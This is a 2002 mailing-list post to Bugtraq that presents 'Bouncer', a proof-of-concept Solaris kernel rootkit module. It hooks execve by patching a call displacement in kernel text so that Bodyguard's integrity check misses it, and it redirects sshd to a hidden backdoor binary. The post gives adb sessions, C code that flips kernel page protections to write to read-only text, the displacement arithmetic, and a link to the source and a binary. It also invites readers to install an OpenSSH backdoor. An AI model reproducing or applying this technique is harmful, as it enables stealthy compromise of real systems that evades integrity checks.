From: noir sin [noir@olympos.org] Sent: Thursday, July 04, 2002 9:06 AM To: bugtraq@securityfocus.com Cc: vuln-dev@securityfocus.com Subject: UnBodyGuard a.k.a Bouncer (Solaris kernel function hijacking) (fwd) Resend: attachment moved to http://gsu.linux.org.tr/~noir/b.tar.gz since no more than 100K is allowed Hi, Recently, Dave Aitel posted a link to a loadable kernel module for the Solaris operating system to check its kernel integrity against backdoors. I downloaded and do some quick analysis on the "product". Simply it does md5 checksuming on the sysent32 table where pointers to syscall handling kernel functions reside. These pointers are well known to be manipulated by backdoor lkm's to change the execution order and pre-execute some hacker code that will hide things or feed false information. I would like to demostrate a rather stealth technique that will bypass checks that are done by Bodyguard (Dave's lkm). Similar techniques have been developed for Linux by Silvio and most recently by mayhem. But my implementation has a major difference than Silvio's and mayhem's kernel function hooking; Rather than inserting a jump/call instruction on functions entry point, I choose to change displacement of the call instructions that are used on system call dispacthing. Following text will explain the glory details ... also attached is the source of my proof of concept code named: BOUNCER plus a precompiled binary of the source. Source will only compile with Sun Workshop compiler, do not even bother with gcc. Binary and source is coded/compiled on Solaris 7 and 8 sun4u with 64 bits kernel. Try it on only on Solaris 7 or 8 with 64 bit kernel image (isainfo -b). In his "product" demo, Dave checks for execve system call (only execve and stat64 indeed), for demostrations sake I will hook the execve syscall and redirect /usr/local/sbin/sshd execution to /usr/lib/.funky/sshd (kids, you can grab your favorite OpenSSH backdoor and place it under /usr/lib/.funky/) Here are the details: bash-2.03# adb -k /dev/ksyms physmem 3b5b exece/5i exece: exece: save %sp, -0xb0, %sp mov %i0, %o0 mov %i1, %o1 call exec_common mov %i2, %o2 After the userland trap instruction kernel dispacthes the execve system call to the exece() function, as we can see exece() directly call exec_common() without touching anything, this is the instruction "call exec_common" that we are going to hijack!! and change the displacement to our newly inserted code: hook_execcommon() exece+0xc/i exece+0xc: call exec_common .=X 10086cf0 10086cf0/X exece+0xc: 4000000c this is the value before patching it but we will face an obstacle here since the kernel text is read and execute only in Solaris kernel. there is no such issue on Linux since kernel text is rwx ... here is how to overcome the problem:B unsigned int gprot; |--> a global to store the orginal protection bits ... ... .. int _init(void) .... if((i = hat_getattr(kas.a_hat, (caddr_t) orig_exece, &gprot)) != 0) goto out; | |--> get the page protection bits and store it in gprot hat_setattr(kas.a_hat, (caddr_t) orig_exece, 0x4, PROT_WRITE); |--> set >PROT_WRITE bit *(int *) orig_exece = call_ins; |--> patch the kernel text with our call instruction hat_chgattr(kas.a_hat, (caddr_t) orig_exece, 0x4, gprot); |--> restore the page protection .... that's it ;-), simple as that... and on _fini we do the same routine to restore the original call instruction also here is how the displacement for the call instruction is calculated: ____________________________ call instruction on SPARC cpu is: |01| 30bit displacement | ---------------------------- all you have to do is find the difference between 2 addresses (hook_execcommon - (exece+0xc)) bitwise shit it 2 bits to right than OR it with 0x40000000, done! Additional side note: bouncer does not even reads from the sysent/sysent32 table, it uses kobj_getsymvalue(char *, int) function to resolve the kernel symbols like exece, exec ... let's continue bash-2.03# modload bouncer ---> lets load our module bash-2.03# adb -k /dev/ksyms physmem 3b5b exece/5i exece: exece: save %sp, -0xb0, %sp mov %i0, %o0 mov %i1, %o1 call hook_execcommon ---> w0w!!! it is patched mov %i2, %o2 exece+0xc/i exece+0xc: call hook_execcommon .=X 10086cf0 10086cf0/X exece+0xc: 400675c0 $q bash-2.03# /usr/local/sbin/sshd bash: /usr/lib/.funky/sshd: No such file or directory |--> i don't run OpenSSH, backdoor is active! bash-2.03# modinfo | grep bouncer |--> invisible, but I can guess da number ;) bash-2.03# modunload -i 118 --> lets unload and do sanity check!! ;-p bash-2.03# adb -k /dev/ksyms physmem 3b5b exece+0xc/i exece+0xc: call exec_common --> cool back to normal .=X 10086cf0 10086cf0/X exece+0xc: 4000000c $q bash-2.03# a clean unload.... hope somebody enjoyed it. later, noir ohh!!!!! of course the credits: Thanks to Dave Aitel for making me think about this .... greetz and thankz to Optyx for being a real cool dad! ;-) Dan for being sharp as blade, cool as hell!! respect! And additional thanks to Agayev, Hamlin, Mis Skywalker for extensively testing my backdoors even on their production environments, without you guys I'm nothing! ;-P no thanks to lamers at the so called tr scene!, you know who you are, delphi boys, pcap kids!